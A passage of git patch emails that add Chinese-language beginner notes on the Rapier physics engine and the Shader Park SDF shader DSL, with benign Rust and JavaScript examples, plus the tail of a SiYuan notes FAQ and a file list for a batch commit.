迁移:属性表(av)更熟悉,但数据在本地工作空间而非云端专有格式。 + +--- + +## 常见问题 + +**Q:块和文档到底是什么关系?** +文档是 type=`d` 的特殊块,也是子块的 `root_id`;一篇「页面」是一个文档块及其子孙块树。 + +**Q:可以直接用 VS Code 编辑 `.sy` 吗?** +不建议;`.sy` 与索引库需一致,应通过 UI 或内核 API 修改,再定期 **导出 Markdown** 做外部只读备份。 + +**Q:API 端口连不上?** +确认思源已启动、设置里启用 API、防火墙允许 **6806**;Docker 部署需映射端口。 + +**Q:SQL 查询为空?** +检查笔记本是否打开、块 type 是否拼写正确(如 `h1` 在 `subtype` 不在 `type`)。 + +**Q:同步冲突怎么办?** +优先官方文档「同步冲突」章节;重要数据 **先离线备份工作空间** 再合并。 + +--- + +## 延伸资源 + +- 源码与路线图:[github.com/siyuan-note/siyuan](https://github.com/siyuan-note/siyuan) +- 内核 API 中文:[API_zh_CN.md](https://github.com/siyuan-note/siyuan/blob/master/API_zh_CN.md) +- 社区文档:[docs.siyuan-note.club](https://docs.siyuan-note.club/zh-Hans/reference/api/kernel/) +- 数据库表说明:[blocks 表字段](https://siyuan-note.apifox.cn/6924361m0) +- 插件开发:[插件 Quick Start](https://siyuan-note.apifox.cn/6977345m0) +- 论坛:[ld246.com 思源板块](https://ld246.com/tag/siyuan) + +--- + +## 小结 + +思源笔记把 **块** 作为唯一核心:Protyle 负责所见即所得编辑,SQLite 负责检索与引用关系,内核 API 负责自动化。入门从 **用户指南 + 块引用 + 备份工作空间** 开始;进阶用 **SQL 与 Python/插件** 把笔记接进个人工作流。作为 **国产块结构笔记**,它在本地主权、中文体验与可编程性之间给出了清晰路线——**卡片式思维 + 数据库级查询**,而不只是又一个 Markdown 文件夹。 From 33b4cd0a162ef544851a50aab7b74c92a6d71e5e Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 13:32:02 +0800 Subject: [PATCH 06/49] =?UTF-8?q?feat:=20=E6=96=B0=E5=A2=9E=20Rapier=20Rus?= =?UTF-8?q?t=20=E7=89=A9=E7=90=86=E5=BC=95=E6=93=8E=E9=9B=B6=E5=9F=BA?= =?UTF-8?q?=E7=A1=80=E5=AD=A6=E4=B9=A0=E7=AC=94=E8=AE=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 覆盖 2D/3D 仿真结构、关节约束与 PhysicsPipeline 示例,便于 Rust/Bevy 游戏栈入门。 Co-authored-by: Cursor --- src/content/docs/projects/rapier.md | 247 ++++++++++++++++++++++++++++ 1 file changed, 247 insertions(+) create mode 100644 src/content/docs/projects/rapier.md diff --git a/src/content/docs/projects/rapier.md b/src/content/docs/projects/rapier.md new file mode 100644 index 000000000..2b929171a --- /dev/null +++ b/src/content/docs/projects/rapier.md @@ -0,0 +1,247 @@ +--- +title: Rapier — Rust 现代物理引擎 +来源: 'https://github.com/dimforge/rapier' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**Rapier** 是由 Dimforge 组织用 **Rust** 编写的开源 **2D/3D 刚体物理引擎**,Apache 2.0 协议,GitHub 仓库 [dimforge/rapier](https://github.com/dimforge/rapier) 约 5k+ star。它不负责渲染、网络或 UI,只回答一个问题:**给定质量、碰撞形状、力和关节约束,下一帧每个物体该在哪里、转多少度**。 + +日常类比:把 Rapier 想成**Rust 游戏工作室里的「力学调度中心」**。你在场景里摆好地板(静态碰撞体)、箱子(动态刚体)、门铰链(旋转关节)、电梯导轨(棱柱关节),调度中心每帧按牛顿力学推进世界,并把新位姿交还给你的渲染层(Bevy、macroquad、Three.js via WASM 等)。你画精灵、写玩法;Rapier 管碰撞、摩擦、弹跳、布偶 ragdoll 和机械臂约束——和 Box2D、PhysX 是同一类「幕后裁判」,但源码 100% Rust,且同一套 API 同时覆盖 2D 与 3D。 + +Rapier 是 nphysics 的继任者,2020 年由 Dimforge 正式发布,设计目标就是**性能优先**:可选 SIMD(`simd-stable` / `simd-nightly`)、可选多线程(`parallel`)、可选跨平台确定性(`enhanced-determinism`)。官方还提供 **JavaScript/TypeScript NPM 包**(`@dimforge/rapier2d`、`@dimforge/rapier3d`),可在浏览器 Web Worker 里跑物理,渲染仍由 PixiJS、Three.js 等负责。 + +Crates 一览: + +| Crate | 用途 | +|-------|------| +| `rapier2d` | 2D 仿真,默认 `f32` | +| `rapier3d` | 3D 仿真,默认 `f32` | +| `rapier2d-f64` / `rapier3d-f64` | 高精度 `f64` 仿真(机器人、科学场景) | + +```toml +# Cargo.toml — 2D 示例,可按需打开 feature +[dependencies] +rapier2d = { version = "0.22", features = ["simd-stable"] } +``` + +```rust +use rapier2d::prelude::*; + +fn main() { + let mut rigid_body_set = RigidBodySet::new(); + let mut collider_set = ColliderSet::new(); + + // 静态地面:不挂 RigidBody,直接插入 ColliderSet + let ground = ColliderBuilder::cuboid(100.0, 0.1).build(); + collider_set.insert(ground); + + // 动态球:刚体 + 碰撞体父子绑定 + let ball_body = RigidBodyBuilder::dynamic() + .translation(vector![0.0, 10.0]) + .build(); + let ball_collider = ColliderBuilder::ball(0.5).restitution(0.7).build(); + let ball_handle = rigid_body_set.insert(ball_body); + collider_set.insert_with_parent(ball_collider, ball_handle, &mut rigid_body_set); + + // 仿真管线所需结构(官方 basic example 同构) + let gravity = vector![0.0, -9.81]; + let integration_parameters = IntegrationParameters::default(); + let mut physics_pipeline = PhysicsPipeline::new(); + let mut island_manager = IslandManager::new(); + let mut broad_phase = DefaultBroadPhase::new(); + let mut narrow_phase = NarrowPhase::new(); + let mut impulse_joint_set = ImpulseJointSet::new(); + let mut multibody_joint_set = MultibodyJointSet::new(); + let mut ccd_solver = CCDSolver::new(); + + for _ in 0..200 { + physics_pipeline.step( + &gravity, + &integration_parameters, + &mut island_manager, + &mut broad_phase, + &mut narrow_phase, + &mut rigid_body_set, + &mut collider_set, + &mut impulse_joint_set, + &mut multibody_joint_set, + &mut ccd_solver, + &(), + &(), + ); + let y = rigid_body_set[ball_handle].translation().y; + println!("Ball altitude: {y:.3}"); + } +} +``` + +上面是官方 [Getting started](https://rapier.rs/docs/user_guides/rust/getting_started) 的最小闭环:地面 + 弹性球 + `PhysicsPipeline::step` 循环 200 步。注意 Rapier 把**刚体(RigidBody)**与**碰撞体(Collider)**拆成两个集合,比「Body 上直接挂 Fixture」的 Box2D 风格更灵活——一个刚体可挂多个 collider,静态环境也可以只有 collider 没有 body。 + +## 为什么重要 + +不了解 Rapier,下面这些事都难以解释: + +- 为什么 Bevy 生态里 `bevy_rapier` 是物理插件的事实选择——Rust 游戏栈需要**同语言、同内存模型**的物理后端,避免 C++ FFI 与 WASM 胶水 +- 为什么同一团队还能维护 **nalgebra、parry、Avian** 等 crate——Dimforge 用 Rapier 把碰撞(parry)、线性代数(nalgebra)串成完整仿真管线 +- 为什么浏览器里也能跑「接近原生」的物理——官方 WASM 绑定 + Worker 线程,性能在 JS 物理引擎中处于第一梯队 +- 为什么机器人/动画管线会关心 **enhanced-determinism**——回放、网络同步、自动化测试需要「同输入同输出」,Rapier 可选 IEEE 754 严格跨平台确定性 +- 为什么 2D 平台游戏和 3D 第三人称可以共用学习曲线——API 设计镜像(`rapier2d` ↔ `rapier3d`),从 2D 原型迁到 3D 成本低 + +## 核心要点 + +### 1. 仿真结构:不是只有一个 World + +与 Box2D 的单一 `b2World` 不同,Rapier 把职责拆成多个**显式集合 + 管线**: + +| 结构 | 职责 | +|------|------| +| `RigidBodySet` | 所有刚体位姿、速度、质量属性 | +| `ColliderSet` | 所有碰撞形状(可独立存在,也可挂到 body 上) | +| `ImpulseJointSet` / `MultibodyJointSet` | 冲量关节、多体链(ragdoll、机械臂) | +| `PhysicsPipeline` | 每帧串联:粗检测 → 细检测 → 约束求解 → 积分 → CCD | +| `IslandManager` | 休眠(sleeping)与活跃岛划分,跳过已静止物体 | +| `IntegrationParameters` | 时间步长、求解器迭代次数、CCD 子步等 | +| `QueryPipeline` | 射线、形状扫描、相交测试(每帧从 broad-phase 临时构建) | + +类比:`PhysicsPipeline` 像工厂总控室;`RigidBodySet` / `ColliderSet` 是原材料仓库;`IslandManager` 是「这条流水线已停工的工位清单」,避免对静止堆叠的箱子空算。 + +每调用一次 `physics_pipeline.step(...)`,内部大致顺序为: + +1. **Broad-phase**:BVH 等结构筛出可能接触的 collider 对 +2. **Narrow-phase**:精确求交,生成接触流形 +3. **Solver**:对接触约束与关节约束施加冲量 +4. **Integration**:更新位姿;可选 **CCD** 缓解高速穿透 + +若只需碰撞检测、不做动力学,可用 `CollisionPipeline` 替代 `PhysicsPipeline`——但不要两者同时对同一场景做完整步进,物理管线已内含碰撞。 + +### 2. 刚体(RigidBody)与碰撞体(Collider) + +| 类型 | 说明 | +|------|------| +| **Dynamic** | 受力、受碰撞,质量由 collider 密度或显式质量决定 | +| **Kinematic** | 由代码驱动位姿/速度,「推」动动态体但不反向被推动 | +| **Fixed / Static** | 不动;可直接插入无 body 的 collider 表示静态环境 | + +常见形状构造(2D/3D API 对称): + +- `ColliderBuilder::ball(radius)` — 圆/球 +- `ColliderBuilder::cuboid(hx, hy)` / `cuboid(hx, hy, hz)` — 盒 +- `ColliderBuilder::capsule_y(half_height, radius)` — 胶囊(角色常用) +- `ColliderBuilder::convex_hull(&points)` — 点集凸包 +- `ColliderBuilder::heightfield(heights, scale)` — 高度场地形 + +**传感器(Sensor)**:collider 可设为 sensor,不参与力学响应,但触发 **intersection events**——用于拾取物、触发器、视野检测。 + +物理单位建议与 Box2D 相同:用 **MKS(米-千克-秒)**。把 800 像素宽的角色当 800 m 会导致数值不稳定;通常 `1 世界单位 = 1 米`,渲染时再乘像素比例。 + +### 3. 关节(Joints)与自由度 + +关节限制两个刚体之间的**相对自由度(DOF)**: + +| 关节 | 2D 剩余 DOF | 3D 剩余 DOF | 典型用途 | +|------|-------------|-------------|----------| +| Fixed | 0 | 0 | 焊接;多 collider 同一 body 更高效 | +| Revolute / Spherical | 1 旋转 | 3 旋转 | 门铰、钟摆、肩关节 | +| Prismatic | 1 平移 | 1 平移 | 活塞、电梯、抽屉 | +| GenericJoint | 自定义 | 自定义 | 组合约束 | + +Revolute、Prismatic、Spherical 支持 **motor**(PD 控制器):可设目标角速度/位置,模拟驱动轮、伺服电机。 + +```rust +use rapier2d::prelude::*; + +fn pendulum_with_motor() { + let mut bodies = RigidBodySet::new(); + let mut colliders = ColliderSet::new(); + let mut joints = ImpulseJointSet::new(); + + // 固定锚点(静态) + let anchor = bodies.insert(RigidBodyBuilder::fixed().translation(vector![0.0, 5.0]).build()); + colliders.insert_with_parent( + ColliderBuilder::ball(0.1).build(), + anchor, + &mut bodies, + ); + + // 摆锤臂(动态) + let bob = bodies.insert(RigidBodyBuilder::dynamic().translation(vector![0.0, 2.0]).build()); + colliders.insert_with_parent( + ColliderBuilder::cuboid(0.15, 1.0).build(), + bob, + &mut bodies, + ); + + // 旋转关节:只允许绕锚点旋转 + let joint = RevoluteJointBuilder::new() + .local_anchor1(point![0.0, 0.0]) + .local_anchor2(point![0.0, 1.0]) + .motor_velocity(0.5, 0.4); // 目标角速度 + 阻尼 + joints.insert(anchor, bob, joint, true); + + // 后续在 game loop 里与其他集合一并传入 physics_pipeline.step(...) +} +``` + +### 4. 事件、查询与钩子 + +- **EventHandler**:监听 contact start/stop、sensor enter/exit,用于音效、计分、伤害判定 +- **PhysicsHooks**:过滤碰撞对、修改接触(如 one-way platform、自定义摩擦) +- **QueryPipeline**:`cast_ray`、`intersect_shape` 等,用于子弹射线、鼠标点选、AI 视线 + +步进后可用 `island_manager.active_bodies()` 迭代**本帧仍活跃**的刚体,只更新动了的对象到渲染层——与 Bevy 的 `Transform` 同步时这是常见优化点。 + +### 5. Feature 与性能取舍 + +| Feature | 作用 | 注意 | +|---------|------|------| +| `simd-stable` | stable Rust 下的 SIMD | 平台支持有限 | +| `simd-nightly` | nightly SIMD,覆盖面更广 | 需 nightly 工具链 | +| `parallel` | rayon 并行宽相位/求解 | 小场景可能更慢 | +| `enhanced-determinism` | 跨平台确定性 | 与 `parallel`/SIMD 互斥 | +| `serde-serialize` | 快照序列化 | 存档、回放 | +| `wasm-bindgen` | WASM 绑定 | 浏览器部署 | + +官方 benchmark 显示:Release 模式下 Rapier 可比 nphysics 快数倍,2D 与 Box2D 同量级,3D 接近 CPU 版 PhysX——具体取决于场景复杂度与 feature 组合。 + +## 与 Bevy 集成(概念) + +游戏引擎通常不直接手写全部 `*Set`,而是用封装 crate: + +```toml +[dependencies] +bevy = "0.15" +bevy_rapier2d = "0.28" # 版本需与 bevy 对齐,以 crates.io 为准 +``` + +`bevy_rapier2d` 把 Rapier 的集合映射为 ECS 组件与插件系统:你 spawn 带 `RigidBody`、`Collider` 的实体,引擎在每帧 `PhysicsSet` 里自动 `step`,再用 `ReadTransform` 等系统把结果写回 `Transform`。底层仍是同一套 Rapier API,只是省掉手动管理 `RigidBodySet` 的样板代码。 + +## 常见坑 + +1. **忘记每帧调用 `step`**:物理世界不会自动推进;固定 `dt`(如 1/60)通常比可变帧长更稳。 +2. **静态地面只建 body 不建 collider**(或反之):静态环境可直接 `collider_set.insert(ColliderBuilder::...)` 无 parent body。 +3. **用 FixedJoint 拼一个复合体**:多个形状同一刚体 + 多 collider 更高效;FixedJoint 适合需要读「关节力」并动态拆断的场景。 +4. **CCD 未开仍高速移动**:薄墙穿透需调 `IntegrationParameters`、启用 CCD 或缩小时间步。 +5. **determinism 与 parallel 同时开**:编译/feature 层面互斥,规划网络同步时要提前选型。 +6. **版本漂移**:Rapier 尚未 1.0,minor 升级可能有 breaking change,生产项目应锁版本并读 [changelog](https://github.com/dimforge/rapier/blob/master/CHANGELOG.md)。 + +## 学习路径 + +1. 读 [User Guides — Rust](https://rapier.rs/docs/user_guides/rust/getting_started) 跑通球落地示例 +2. 克隆仓库运行 `cargo run --release --bin all_examples2` / `all_examples3` 对照源码 +3. 按需阅读 Colliders、Joints、Character controller、Scene queries 章节 +4. 若用 Bevy:跟官方 `bevy_rapier` 示例做 2D 平台或 3D 堆箱子 +5. 若做 Web:用 `@dimforge/rapier2d-compat` 在 Worker 里 step,主线程只渲染 + +## 相关链接 + +- 官网与文档:[rapier.rs](https://rapier.rs/) +- 源码:[github.com/dimforge/rapier](https://github.com/dimforge/rapier) +- Dimforge 博客(发布文):[Announcing Rapier](https://dimforge.com/blog/2020/08/25/announcing-the-rapier-physics-engine/) +- 同生态: [parry](https://github.com/dimforge/parry)(碰撞)、[nalgebra](https://nalgebra.org/)(线性代数) +- 对比阅读:本库 [Box2D](/docs/projects/box2d)、[Planck.js](/docs/projects/planck)、[Bevy](/docs/projects/bevy) From 6490b0989eb33c567daa1952e427de45f6da9fe9 Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 13:46:52 +0800 Subject: [PATCH 07/49] =?UTF-8?q?feat:=20=E6=96=B0=E5=A2=9E=20Shader=20Par?= =?UTF-8?q?k=20=E7=A8=8B=E5=BA=8F=E5=8C=96=20SDF=20=E7=9D=80=E8=89=B2?= =?UTF-8?q?=E5=99=A8=20DSL=20=E9=9B=B6=E5=9F=BA=E7=A1=80=E5=AD=A6=E4=B9=A0?= =?UTF-8?q?=E7=AC=94=E8=AE=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 覆盖 JS→GLSL Raymarching、CSG 构造模式与 Three.js 嵌入示例,便于算法艺术入门。 Co-authored-by: Cursor --- src/content/docs/projects/shader-park.md | 247 +++++++++++++++++++++++ 1 file changed, 247 insertions(+) create mode 100644 src/content/docs/projects/shader-park.md diff --git a/src/content/docs/projects/shader-park.md b/src/content/docs/projects/shader-park.md new file mode 100644 index 000000000..0360836ca --- /dev/null +++ b/src/content/docs/projects/shader-park.md @@ -0,0 +1,247 @@ +--- +title: Shader Park — 程序化 SDF 着色器 DSL +来源: 'https://github.com/shader-park/shader-park-core' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +--- + +## 是什么 + +**Shader Park** 是一个 JavaScript 库(`shader-park-core`),让你用接近「搭积木」的语法描述 **3D/2D 程序化图形**,在运行时自动编译成 GLSL 着色器,通过 **Raymarching(光线步进)** 在 GPU 上实时渲染。作者 Torin Blankensmith 与 Peter Whidden 维护,MIT/Apache-2.0 协议,官网 [shaderpark.com](https://shaderpark.com) 提供在线编辑器与数百个社区作品。 + +日常类比: + +> 传统 GLSL 像 **自己造相机、调暗房、冲胶片**:你要写顶点着色器、片段着色器、uniform 绑定、WebGL 状态机,还要手写 SDF 求交与步进循环。Shader Park 则像 **乐高 + 3D 打印机的说明书**:你说「这里放一个球,那里挖一个环,再整体涂上金属感」,库负责把说明书翻译成 GPU 能执行的 GLSL,并替你完成 Raymarching 管线。你专注「形状与动画逻辑」,而不是底层图形 API。 + +与 [glslCanvas](/docs/projects/glsl-canvas) 的分工:glslCanvas 把 **已有 GLSL 字符串** 画到 canvas;Shader Park 把 **JavaScript DSL** 转成 GLSL。与 [regl](/docs/projects/regl) 的分工:regl 封装 WebGL 状态机;Shader Park 站在更高层,内置 SDF 图元、CSG 布尔运算、噪声与材质,面向 **算法艺术 / 生成式 3D** 而非通用网格渲染。 + +## 为什么重要 + +不理解 Shader Park,下面几件事都说不通: + +- 为什么 [shaderpark.com/explore](https://shaderpark.com/explore) 上大量作品只有几十行 JS,却能在浏览器里实时旋转复杂有机体 +- 为什么 **Signed Distance Field(SDF,有符号距离场)** 可以用 `union` / `difference` 做布尔建模,而不需要网格布尔运算 +- 为什么同一套「雕塑代码」可以导出到 Three.js、离线 HTML、TouchDesigner,甚至用于网格化(`toRawSDF4Meshing`) +- 为什么 p5.js、Three.js 教程里会出现 `createShaderPark` / `createSculptureWithGeometry`——它们把 SP 当作 **可嵌入的着色器生成器** + +## 核心概念 + +### 1. JS → GLSL:Sculpt(雕塑)即着色器 + +你在编辑器或 npm 项目里写的一段函数体,在 Shader Park 术语里叫 **sculpture(雕塑)**。核心库解析 JS 调用序列(`sphere`、`difference`、`color`…),生成完整的 Raymarching 片段着色器。内置全局量包括 `time`(动画时间)、`mouse`(指针)、`getSpace()`(当前采样点空间坐标)、`getRayDirection()`(视线方向)等。 + +**Raymarching 直觉**:从相机沿像素方向「迈步」,每步问 SDF「离表面还有多远?」,距离足够小就着色。SP 隐藏了循环与法线估计,你只描述 **距离场本身**。 + +### 2. SDF 与图元(Primitives) + +SDF 在任意点返回 **到最近表面的有符号距离**(内部为负、外部为正)。Shader Park 内置图元: + +| 函数 | 含义 | +|------|------| +| `sphere(r)` | 半径 r 的球 | +| `box(size)` | 轴对齐盒子 | +| `torus(R, r)` | 大半径 R、管径 r 的环 | +| `cylinder(h, r)` | 圆柱 | +| `plane(n, h)` | 平面 | +| `cone(h, r)` | 圆锥 | + +图元调用即「在当前空间位置放置一个距离场贡献」。默认 **并集模式**(`union`,可省略):后画的形状与已有场景合并。 + +### 3. 构造模式(Construction Modes / CSG) + +类似 CAD 里的布尔运算,用 **栈式指令** 组合距离场: + +| 模式 | 作用 | +|------|------| +| `union()` | 合并(默认行为,显式调用也可) | +| `difference()` | 从当前形状减去接下来画的形状 | +| `intersect()` | 只保留交集 | +| `blend(f)` | 平滑混合(f 控制过渡锐度) | +| `mixGeo(t)` | 在两种几何之间插值(t 常接 `input()` uniform) | + +### 4. `shape()`:作用域与复用 + +`shape(fn)` 把颜色、位移、构造模式封装在函数内,返回可重复调用的「子雕塑」。类比:给乐高子组件单独一个袋子,里面的改动不会污染外面。 + +### 5. 空间变换与修饰 + +| 类别 | 代表 API | +|------|----------| +| 位移 | `displace(x,y,z)`、`setSpace(fn)` | +| 旋转 | `rotateX/Y/Z(angle)` | +| 对称 | `mirrorX/Y/Z`、`repeat(vec3)` | +| 变形 | `expand(d)`(膨胀)、`shell(t)`(抽壳) | +| 噪声 | `noise(p)`、`fractalNoise(p)` | + +### 6. 材质与光照 + +`color(vec3)` 设 albedo;`metal(t)`、`shine(t)` 控制 PBR 感;`lightDirection(vec3)` 改主光方向;`backgroundColor` 设背景。可配合 `normal`(内置法线)做简单着色。 + +### 7. 外部输入:`input()` 与 Uniform + +在 Three.js / 自定义宿主里,通过 `input()` 声明 **可从 JS 更新的 uniform**(如音频分析、点击状态)。编辑器内则自动注入 `time`、`mouse` 等。 + +### 8. 质量与性能 + +| API | 用途 | +|------|------| +| `setStepSize(s)` | Raymarching 步长,越小越精细、越慢 | +| `setGeometryQuality(n)` | 几何质量,artifact 时可增大 | +| `setMaxIterations(n)` | 最大步进次数 | + +文档 FAQ:若形状出现 **条纹/失真**,优先调高 `setGeometryQuality`。 + +### 9. 集成与导出 + +- **Web**: [shaderpark.com/new](https://shaderpark.com/new) 在线编辑 +- **npm**:`npm install shader-park-core` +- **Three.js**:`createSculptureWithGeometry(geometry, spCodeString, uniformsFn)` +- **p5.js**:`createShaderPark(() => { ... })`(见 shader-park-p5 构建物) +- **CLI**:`npm run toThreeJS`、`toOffline`、`toRawSDF4Meshing` 将雕塑转为不同目标 + +## 实践案例 + +### 案例 1:最小雕塑——球体挖环(理解 difference) + +在 [在线编辑器](https://shaderpark.com/new) 中,默认模板即可改为: + +```js +// 大球 +sphere(0.7); +// 切换到「减法」模式:接下来画的形状会从当前场景挖掉 +difference(); +rotateX(1); +rotateZ(PI / 2 + time); // time 内置,环会随时间旋转 +torus(0.7, 0.1); +``` + +**逐行解释**: + +1. `sphere(0.7)` — 在原点放置半径 0.7 的球体距离场。 +2. `difference()` — 栈模式切换:下一图元做 **布尔减**。 +3. `rotateX(1)` / `rotateZ(PI/2 + time)` — 在 **当前空间** 旋转坐标系后再画环;`time` 驱动动画。 +4. `torus(0.7, 0.1)` — 环的几何被从球中减去,得到「套环球」或甜甜圈孔效果。 + +这是 SDF-CSG 的典型心智模型:**先放主体,再声明运算,再放工具形状**。 + +### 案例 2:封装子形状 + 噪声位移 + 多球 blend + +稍复杂结构:把「挖环球」存成组件,加噪声扰动,再 blend 小卫星球(改编自社区 p5/Shader Park 教程模式): + +```js +setStepSize(0.4); + +let scale = input(); // 宿主传入:噪声尺度 +let noiselvl = input(); // 宿主传入:噪声强度 + +let n = noiselvl * noise(getSpace() * scale + time); +let c = vec3(n) * 0.5 + 0.5 + normal + vec3(0.4, 0, 0); + +let ringBall = shape(() => { + color(c); + shine(0.8); + sphere(0.7 + n * 0.1); + difference(); + rotateX(getSpace().x * 4); + rotateZ(PI / 2 + time); + torus(0.7 + n * 0.1, 0.1 + n * 0.1); +}); + +ringBall(); + +blend(0.2); +displace(sin(time * 2.3) / 1.3, 0, cos(time) / 1.3); +color(c); +shine(0.8); +sphere(0.2 + n * 0.1); +reset(); + +displace(cos(time * 2.3) / 1.3, sin(time) / 1.3, 0); +sphere(0.3 + n * 0.1); +``` + +**要点**: + +- `shape(() => { ... })` 返回 `ringBall`,调用 `ringBall()` 才绘制。 +- `getSpace()` 提供当前 Raymarching 采样点,乘 scale 后喂给 `noise`,实现 **空间扭曲**。 +- `blend(0.2)` 后画的小球与主体 **平滑并集**,不是硬切。 +- `displace` + `reset` 成对使用:移动坐标系画卫星,再 `reset` 回世界空间。 +- `input()` 需在 p5/Three 宿主里通过 uniform 回调传入具体数值。 + +### 案例 3:嵌入 Three.js(音频/交互) + +Codrops 教程模式:用 `createSculptureWithGeometry` 替换普通 Mesh 材质: + +```js +import { createSculptureWithGeometry } from 'shader-park-core'; + +export function spCode() { + return ` + let pointerDown = input(); + let audio = input(); + setMaxIterations(5); + + let s = getSpace(); + let r = getRayDirection(); + let n = noise(s + vec3(0, 0, audio * 0.1)); + + metal(n * 0.5 + 0.5); + shine(n * 0.5 + 0.5); + displace(mouse.x * 2, mouse.y * 2, 0); + color(normal * 0.1 + vec3(0, 0, 1)); + boxFrame(vec3(2), abs(n) * 0.1 + 0.04); + mixGeo(pointerDown); + sphere(n * 0.5 + 0.8); + `; +} + +// 在 Three.js 场景中: +const mesh = createSculptureWithGeometry(geometry, spCode(), () => ({ + time: clock.getElapsedTime(), + mouse: mouseVec, + pointerDown: isPointerDown ? 1 : 0, + audio: analyserAverage, +})); +scene.add(mesh); +``` + +**要点**:雕塑代码是 **字符串**(或模板函数返回字符串);uniform 对象键名与 `input()` 变量对应;`mixGeo(pointerDown)` 在 boxFrame 与 sphere 之间插值,实现点击切换形态。 + +## 与相关工具对比 + +| 维度 | Shader Park | 手写 GLSL + Raymarching | Three.js 网格工作流 | +|------|-------------|-------------------------|---------------------| +| 学习曲线 | 低(声明式 API) | 高(需懂 SDF + 步进) | 中(场景图 + 材质) | +| 布尔/有机形 | CSG 一行切换 | 手写 `min`/`max` 组合 | 需建模软件或 CSG 库 | +| 动画/交互 | `time`、`input()` 内置 | 自行传 uniform | AnimationMixer 等 | +| 导出网格 | CLI 网格化 | 不直接支持 | 原生强项 | +| 2D | `enable2D()` 等 | 可写 | 通常用平面/正交相机 | + +## 已知限制(官方 FAQ 摘要) + +- **不要用 `if (time > 100)` 这类分支** 依赖内置变量——会破坏编译/优化;改用 `smoothstep`、`mix` 等连续函数。 +- `length`、`distance`、`dot`、`normalize` 等 **仅 vec3**;`pow`、`mod` 等 **仅 float**——与 GLSL 类型严格一致。 +- 没有内置 `scale()`——文档建议用 `setSpace` 做非均匀缩放,因简单 scale 易扭曲距离场。 +- `glslSDF()` 可嵌入自定义 GLSL 距离函数,但 **不支持 GL ES 3** 环境。 + +## 学习路径建议 + +1. **零基础**:打开 [shaderpark.com/new](https://shaderpark.com/new),改 `sphere` / `box` / `torus` 参数,试 `difference` 与 `blend`。 +2. **读 API**:[Interactive Documentation](https://docs.shaderpark.com/references-js/) 按 Geometry → Construction Modes → Material 顺序浏览。 +3. **模板项目**:克隆 [shader-park-examples](https://github.com/shader-park/shader-park-examples) 的 `es6-starter-template` 或 `es6-three-starter-template`。 +4. **理论基础**:补 SDF 与 Raymarching(Inigo Quilez 文章);与 [glslCanvas](/docs/projects/glsl-canvas) 对照理解「DSL 生成 shader」vs「直接写 shader」。 +5. **进阶**:CLI 导出 Three.js 场景;TouchDesigner 节点;社区 [Discord](https://discord.gg/vuBnVuBvvK) 交流。 + +## 小结 + +Shader Park 把 **程序化 SDF 建模、CSG、噪声、PBR 材质** 封装成一套 JavaScript DSL,降低实时 3D 算法艺术的门槛。你描述的是「空间里有什么形状、如何组合、如何上色」,库负责编译 GLSL 与 Raymarching。适合快速原型、教学演示、音频可视化与生成艺术;若目标是传统游戏资产管线,仍需配合网格导出或与其他 DCC 工具衔接。 + +## 参考链接 + +- 源码与 README:[shader-park/shader-park-core](https://github.com/shader-park/shader-park-core) +- 在线编辑:[shaderpark.com](https://shaderpark.com) +- API 文档:[docs.shaderpark.com](https://docs.shaderpark.com/references-js/) +- 示例模板:[shader-park-examples](https://github.com/shader-park/shader-park-examples) +- npm:[shader-park-core](https://www.npmjs.com/package/shader-park-core) From d39bdcdbbe37285d1349e0d55f2d427a964ca3c6 Mon Sep 17 00:00:00 2001 From: estelledc Date: Sat, 13 Jun 2026 16:10:34 +0800 Subject: [PATCH 08/49] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=2070=20=E7=AF=87?= =?UTF-8?q?=E6=96=B0=E9=A1=B9=E7=9B=AE=E7=AC=94=E8=AE=B0=EF=BC=9Acursor-ag?= =?UTF-8?q?ent=20composer-2.5=20=E6=89=B9=E9=87=8F=E7=94=9F=E6=88=90?= =?UTF-8?q?=EF=BC=88=E6=89=B9=E6=AC=A1=20A=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-Authored-By: Claude Opus 4 --- data/classification.jsonl | 77 +++- data/taxonomy.json | 3 +- src/content/docs/papers/freertos-overview.md | 280 ++++++++++++ src/content/docs/projects/accompanist.md | 295 +++++++++++++ src/content/docs/projects/aframe.md | 197 +++++++++ src/content/docs/projects/ai-dynamo.md | 300 +++++++++++++ src/content/docs/projects/appflowy.md | 376 +++++++++++++++++ src/content/docs/projects/appium.md | 311 ++++++++++++++ src/content/docs/projects/appleseed.md | 253 +++++++++++ src/content/docs/projects/ar-js.md | 293 +++++++++++++ src/content/docs/projects/aseprite.md | 275 ++++++++++++ src/content/docs/projects/assimp.md | 349 +++++++++++++++ src/content/docs/projects/authentik.md | 276 ++++++++++++ src/content/docs/projects/bitwarden-server.md | 261 ++++++++++++ src/content/docs/projects/blender.md | 238 +++++++++++ src/content/docs/projects/bookstack.md | 334 +++++++++++++++ src/content/docs/projects/box2d.md | 272 ++++++++++++ src/content/docs/projects/bullet.md | 281 +++++++++++++ src/content/docs/projects/cannon-es.md | 291 +++++++++++++ src/content/docs/projects/ccusage.md | 217 ++++++++++ src/content/docs/projects/chameleon.md | 325 ++++++++++++++ src/content/docs/projects/cinder.md | 209 +++++++++ src/content/docs/projects/clojure.md | 261 ++++++++++++ src/content/docs/projects/cocoindex.md | 287 +++++++++++++ .../docs/projects/codegraph-claude-code.md | 294 +++++++++++++ src/content/docs/projects/coil.md | 232 ++++++++++ src/content/docs/projects/cpython.md | 325 ++++++++++++++ src/content/docs/projects/deck-gl.md | 288 +++++++++++++ src/content/docs/projects/detox.md | 255 +++++++++++ src/content/docs/projects/draco.md | 267 ++++++++++++ src/content/docs/projects/dragonbones.md | 224 ++++++++++ src/content/docs/projects/eclipse-openj9.md | 315 ++++++++++++++ src/content/docs/projects/engine262.md | 273 ++++++++++++ src/content/docs/projects/ente.md | 310 ++++++++++++++ src/content/docs/projects/esphome.md | 357 ++++++++++++++++ src/content/docs/projects/espurna.md | 320 ++++++++++++++ src/content/docs/projects/etherpad-lite.md | 334 +++++++++++++++ 